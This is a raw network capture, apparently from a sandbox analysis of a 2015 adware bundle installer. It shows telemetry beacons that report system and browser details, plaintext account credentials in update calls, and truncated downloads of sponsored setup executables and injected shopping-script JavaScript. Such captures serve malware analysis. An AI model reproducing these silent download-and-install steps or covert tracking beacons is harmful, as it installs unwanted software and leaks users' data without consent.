ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2:  2AlIA
K10AFnEyf4VscMV70XOQ5HFUfAtdPapqDIPv9Q2Qr28XN2OLr0KFk7e 8E..x-amz-requ
est-id: F835352F05F5E569..Date: Thu, 12 Feb 2015 05:33:44 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423719224&procruntime=11&rnd=1423719235 HTTP/1.1


Host: stats.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: uVfDqfMP6kIAwmTSEz75O/tEjWrz5D4XN2WidRNkfHAEY4 37FmXohyp9tJT5SZJ
x-amz-request-id: FD084402C9561C8E
Date: Thu, 12 Feb 2015 05:33:52 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423719224&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423719224&procruntime=11&rnd=1423719235 HTTP/1.1


Host: stats.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: YkV19O7ZuTzaIuxYpNBex5Qp04oydFNppG4sciKwafERAWf7DuzfT653IoEhmcu4
x-amz-request-id: 614B2C051A61A71E
Date: Thu, 12 Feb 2015 05:33:52 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 25 Feb 2014 00:15:01 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: YkV19O
7ZuTzaIuxYpNBex5Qp04oydFNppG4sciKwafERAWf7DuzfT653IoEhmcu4..x-amz-requ
est-id: 614B2C051A61A71E..Date: Thu, 12 Feb 2015 05:33:52 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 25 Feb 2014 00:15:01 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:46 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.92 ms","message":"store 3 action and 5 upd
ate "}..0......


GET /v4/sof-ient/535559167_198339_B48A115F?action1=install.smt HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:46 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.66 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:46 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.66 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=218688-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 218688-583167/583168
Content-Length: 364480
Connection: keep-alive
..S...%.1/Q..c.....(..\a...N..~.?..u..).\..*..C.?...LrC~...A...e..Y..w
g<..........*..H..:RSnl.. .&.;....S..P.Iw.B....0..[.....3..T.O.....
.#.{.......5.....h....l.>7.C...1U..e`.{.Y...U...1%.2B...i..A.R.47JQ
.J..`.n...X...hN..c..x.1...Dn.#........k.D....Nn....a....E...e.X.>.
`&.1@.^xU.5.....<..p.V..]..R ..H#..A.p..p...~....)...N~./[email protected](..
...*.2....>...=.m....C.....jmpG.......l... ..R..a.3....m$xnw..-kU..
.'}a..Q?.O..."..(U..0..W..... /...W?.7o..3]A.G...E7....UBT.H.. Jc0E...
..>v.7=.6..3.].=3'.C}...N..-...V xK...L.Z.{..o.....Q^....'....~...\
e.....&.....WC..xQgeX...W.Xk....0....f..{..g....2....O....40 ......?."
.........-....5*a.#...U~..I..MH`.....M.....G..Q.M.....~.P......Z.@sX&g
t;@..T.&...../....m}.p._..~..&..11..^[email protected]...'..K.g.j]zi.....8
.5S."8R....\.H.MO{..>.Yt.-....[@......lBI.Q...........7....TX^.....
0.5.s.'..C.......9...P.....[.f...O.G....b.D...l......`.........c.."<
;...'.....X....,........q............).../.P.Pt3.T.p.A....ZY...`(.....
;,.h%...j.,.J..#u |2..n.w.hx,X..z.K{..zY....UG.{......*..v.N.g..A....|
.u..0.).'..qF.K..\..~.a....M.s;..Q..wY%..<.........39s.KWI5..-..=L.
.M.MW .Wq.*[email protected].<...5.K...Hi..H.d ..k...S......
...<.....\..3..q!...8c......o.x...v....W......&....q.w.>..<.D
z..\.....>[email protected][.... i...o...g..}...eg.._...N.....n
>..V3...H|..r....k...BvH..g..\[email protected]..'m...e........:.".5...wU.|.
....bJ"/[email protected].*...uH.x&o.....>....E..?.b.!...Y B......Z..
.-,...8)...... [email protected].[.#..;L......v...k.V
<<< skipped >>>


GET /js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2CwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=572a1153-8705-4466-affe-b5bad540fde1&apptitle=ShopperPro&channel=iF2CwJSsmtycl HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: inst.shoppingate.info
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:56 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Mon, 02 Feb 2015 16:49:30 GMT
ETag: W/"aabbeb3683fd01:0"
X-SN: 07
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
Expires: Fri, 13 Feb 2015 05:33:56 GMT
Cache-Control: max-age=86400
X-Cache: HIT
Content-Encoding: gzip
6172.............}yW.I...>...r.)e!.b..Jr..X.... \.....L-XH../..g..{
c.L..]5o..7..e.7n.=n|.. ..:......:..v..........h<....GY.=.........g
.d...Jq...|@.I9.....$...~?.v... ..........q)......X..W...J..{.,...u.E.
..,.rWa..e.~6.L...=..!n.*.ac:.. I....0...!.Zy)gv..7...R.....SJ..Z..]..
... ..J..WQv.^.c.YR.*..,.k.....]..."...i.......n.(...,....n..[w.E.V8..
..`c.....qgv....U}.kJ...u ..t...eXNW.t............M?.....=..g[.....wo.
i.....E.3nMJi....H.E....4.m..U.|..*%.V...`.4!......;..&`...k%.....0.r.
.............d...2.F.8.J.._L.o...lv.A..M.u6..............bw.I.....Z...
..X.G...c.h.f!!=......o.Gg......vy...........S>..*...._...5......#Q
.q....~k.._.O.G.....;...|rz._o4..^5...g.o.>~(...1.....x......}.....
{.|}y...T........)n.(X[...u.......=.7.......F...<T.....4..N!.'z">
;-.R.....T..... ....a..f..]..\D..e;[email protected]
.U...a.E.)h<7(..A.N..=|PR...v....)L..,..nd}P..x.._[.S..F\d.^.M.q.O.
..s?kt.l...3.PI..........2..UN...L....U..w..../.t.....=.V[..l....H....
.z.Md(;...$.....i...A..j.....f..W...EkA.[X.;.4....2...N...]M/...Y.!.-.
.". K.m.5.....oo...q.%.O..8>..?..%.Ots.......{%./U.3~....l..q5..50.
...9.L.....r.Ye.M.(..6.v..!.mVV..)..V.9./U;.)-....z.......`..l..0.J...
.8.{..V...i.I.V...x........._f...*..[.....<...qy..4. ..:,.H...h..\.
.z.1..#.......C.r9.1.f ....>!.cBv..I`..B. ...GH8.T.`..7/.......O..:
......v.r\......4.....M.O....U..-..&J.,]...7yIRD.......j@............:
@.j......Ub.C)......UmLg....f.(........>...D.....()u...[9f'....%...
ePm.?. ...q.j....2......h=@..<0.....Z;.)...a. ..F....d..$U...95
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=145792-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 145792-583167/583168
Content-Length: 437376
Connection: keep-alive
{...}.|.Y.T...v..C!/.Z......b.e62.d.YE.o...?&..... ....H"...E(y./.Z..6
.U}._...w....o..s..).9..axM.t...*...8J........2}...Yq.M.........G..#..
Y..........=.A...~..R....QL9........VB......E.5t..w ....X.8..o8..y)..E
-0.zP.\..w~..)....<.\..}RX7.o...V..t.}......'.............6o8....L 
.H.....&...R.,.....k..Bf.LJ.......\......0..$.s.u.. ....w..~.)..c.....
.X......[.....[..:...W..k...Z...:...Z.a...C?.......W.=gs..w.\..md..BO.
...Z.....;{.0d.z....".....W....{.W...j2.V.a.....q..,...V......sr;.....
....n.".S.WI..n?........Z....^..7.. }....B.m. .eXsG...%. .K.].'..6..,,
.iZ......C......nK'.$oJ.}k......7-..0.a.)2...(DQ.?.Q..[...!....TV.....
...-c...6..Y.gz.E.......M?... h.C..........@G]C^e...P^....0..d._......
8....:.A..r....I.j.\..."....|.7.yZ.X'.t....j.n....L..A~DeP.Sr........U
..LV~......T.....]L...s.K.a..........".y..II...{._...A......u...*sg...
......1...S.Jv.hE.x..rX....bF.. ..i ;.........N...`'.-....h$....L;t.)-
.gY..kI.BolS...db...,@*9.6K..<`..R$..4$.-s.u.s.d_Vs.....T..;....}.9
]WR...1o.a......h6..0..8..!\:....~.j.z....:I.f!.E.'.!......_.e..2.^.9W
...v.;k...:.x.y!.k..[..)...H(Z.`..X..Y.gW.*/.'.<RF@.?........0.....
...l]V...G..e.${.I..>/.....5....?.!x.}..A[;....a......\......F.>
../.....55..e.]..........nU?.>..S<#..z'........v.1.....v6...<
Y......M,[email protected].:...U|Y.{..Ln;vY..:A.&.`...y.......b.m..5.\Y..o.z{.
...[..H.*....&.R....Zx,....3:`....q.....t.c....oA.q.X..z.h....y?...R..
"L.q&./.K....$..........G.Jn.Q.\;l5..y[...l......x]G.s..I....;?b..L.&l
t;]OK1..I...B.j.s....|..7....\2HU...*M..^..*N@:.&.4.Q;Ei..........
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.6985471650228627 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:25 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:25 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /download.php?msorder=5&smsorder=0&campaign=14782&tracker=2202 HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: app.easy-burner.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:07 GMT
Content-Type: octet-stream
Connection: keep-alive
Set-Cookie: softdown=1423719127029126; expires=Thu, 12-Feb-2015 05:37:07 GMT; path=/
Set-Cookie: install_cookie=14782,,; expires=Sat, 14-Mar-2015 05:32:07 GMT; path=/; domain=easy-burner.com
Content-Disposition: filename=easyburner-setup.exe
Content-Length: 1498064
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......o..< .ro 
.ro .ro"..o .ro"..o1.ro"..o..ro...o(.ro5..o(.ro...o>.ro .so..ro"..o
V.ro5..o*.ro"..o*.roRich .ro................PE..L...6..L..............
.......(......@\............@.................................].......
......................................................................
[email protected].......@.......
.............text...,........................... ..`.rdata............
..................@[email protected]...,[email protected]...
.............>..............@..@...................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U...E.].........U
..]............U.....E.....E..M.....M..}..v..U......M.;.u..E.....3.]..
.........U.....E.....E..M.....M..U.....U..}..v .E.....U....;.t..M.....
E....3.;.....D......3.]............U...E...P.M.Q.U...R.E.P........]...
.............U...E...P.M.Q.U...R.E.P........]................U..Q.E..E
....M.....M..U.....U..}..v..E.f.M.f.....E...]..........U...E..M.f..f..
]................U...E.....U....3.;......].......U...E.P.M.Q.U.R......
..]........U...E.P........]................U...E.P.M.Q.U.R.E.P....
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7291521e-e56c-4639-92af-ddebd5cb0120&Password=OBum1Uup&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423719195&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=1ajtyliy2fe0u3nsaexg2n45


HTTP/1.1 200 OK
Connection: close
Date: Thu, 12 Feb 2015 05:33:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...



POST /online/Report.aspx HTTP/1.1
Content-Type: multipart/form-data;boundary=---------------------------32C0354D3926
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Content-Length: 852
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=tdswdgjrsqxmq045be3kxg45

-----------------------------32C0354D3926
Content-Disposition: form-data; name="ProductID"

12000
-----------------------------32C0354D3926
Content-Disposition: form-data; name="Version"

3.3.9.4
-----------------------------32C0354D3926
Content-Disposition: form-data; name="UserID"

7291521e-e56c-4639-92af-ddebd5cb0120
-----------------------------32C0354D3926
Content-Disposition: form-data; name="Password"

OBum1Uup
-----------------------------32C0354D3926
Content-Disposition: form-data; name="XmlData"

<xml><VERSION>3.3.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoUjhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfCc56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5MEgIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>
-----------------------------32C0354D3926--

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 486
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Thu, 12 Feb 2015 05:33:23 GMT
Connection: close
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGSj3Lve5K2rLPoybgcot35Gkzooig==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....



GET /ads/conversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3611532254&ipr=y HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
DNT: 1
Connection: Keep-Alive
Host: VVV.google.com.ua


HTTP/1.1 200 OK
Content-Type: image/gif
Date: Thu, 12 Feb 2015 05:34:00 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Server: adclick_server
Content-Length: 42
X-XSS-Protection: 1; mode=block
Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 200 OK..Content-Typ
e: image/gif..Date: Thu, 12 Feb 2015 05:34:00 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..X-Content-Type-Options: nosniff..Server: adclick_
server..Content-Length: 42..X-XSS-Protection: 1; mode=block..Alternate
-Protocol: 80:quic,p=0.02..GIF89a.............!.......,...........D.;.
.



GET /affiliate/client?dist=141&sub=IF2Cwsmtycl&name=ShopperPro HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: api.jollywallet.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/javascript
Date: Thu, 12 Feb 2015 05:33:58 GMT
Expires: Mon, 16 Feb 2015 05:33:58 GMT
P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"
Server: nginx/1.4.7
X-Powered-By: PHP/5.4.30
transfer-encoding: chunked
Connection: keep-alive
20a1.............}k..F..g...ug.aQ..=KM....9.......{N......B .........|
. TR...3..>......GFDF&...i.w.o.[$.6.\M.q..va..,....-...Q.........E.
[email protected]..].O......F[.....D.xYfj.^lh....`.J.B..F.Pa.%a.k....>K.
K{...L......>~..h.....[X-..u...m.8.:..%.O.......*...l...Z.n..9.*4..
...&L..h...9..,{*...F%.......6....BA.u.Ylj...A)\.Wi.}..k....bA..u.....
..}._Qm...A$Y.....8.....0..,.n.OO.....a... *6....p6..V.}I*..F.3..X .%.
 Z..1.....Gq.?...... .J..o.t.^..m..q~....P...J.q<G....)..{}S.;.75..
....~....b...|H&...1....................s..........dH.9)..........ot..
......Q......PN78v......"&U...P#A...dQ..6J..t.)..-t7..'.....g......0..
../.,..4[#`.?....... ..~.....9....}....m.l{.?^.........}...>._.....
.{.......([email protected]]... [email protected].[z.'.E....=!M....
........-............. .".]......,.^..JH....E.GJ...|i.9;...9.m...`.8..
..svq.]ia.....M_..[-4>'[...?.>{\v...t.....G..mC..LM..P..]..fX..!
.|...(....._.....................'ncB.~e...b......x.........p4.Lg.....
...$>. ..5..........E.. .....}]t....k...6....0...uo}g....%.....B...
..M.......b:...<.t.C.......`seFL...w,4.P..4{l(.~...K.q.!.&.&....p..
....%.d..4..%...z.......#...z%.~j......7.~)..8...E..E._/.*l.o...%.....
$....r..P..]..(..=. .5"aws...V.B..#.(Q*z... [email protected]....
.*6..(.~5=si....u..'.1`I...4.TK..3._.....AS.d..K...J...A..D..&.w......
)..\....#..45.a....z.......U.?..9...'a_j.....h.3(...P":...dW.ET....^XN
..........g0.....:..\.&P.L'3V.......B.<.n*L....9./..ZOT{.;....6.1dp
../..6..;l @/$..........{0.]..`j.S..O..d<sp......./[email protected]:...
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=160816-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 160816
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 160816-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LoEfYJEtKb9lOwLwH1nvKx0U0fORyY2ZzzFQeBZxK8wUDmmsB6cquA==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;
<<< skipped >>>


GET /ytai.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3dle8xo1zpfnz.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT
Accept-Ranges: bytes
ETag: "76e36b728e29d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:38 GMT
Content-Range: bytes 0-249999/1206160
X-Cache: Miss from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: NI_Gjqx0RgwR6F3add49w8lZ-yx0K5H5gLqtETuArVn2Jnoese_40w==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@[email protected]....^...p...4...V........
[email protected]...............................@[email protected]..|...........
[email protected]..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.u.h..M.h..M..%...hp.I
...G..Y..].j..4.H.......e....D.M...I..E.......D.M...I..M..hz.I...G..Y.
*....j....H..O....M..h..I...G..Y......j....H.......M..h..I..oG..Y.....
....M..9...h..I..TG..Y..D.M......h..I..>G..Y.j....H.......e....L.M.
..I..M..h..I...G..Y......j....H.......e....H.M...I..E.......H.M...I..M
..h..I...F..Y.M....j...R..Y...M.....M..hhvJ....M......h6.I...F..Y.hhvJ
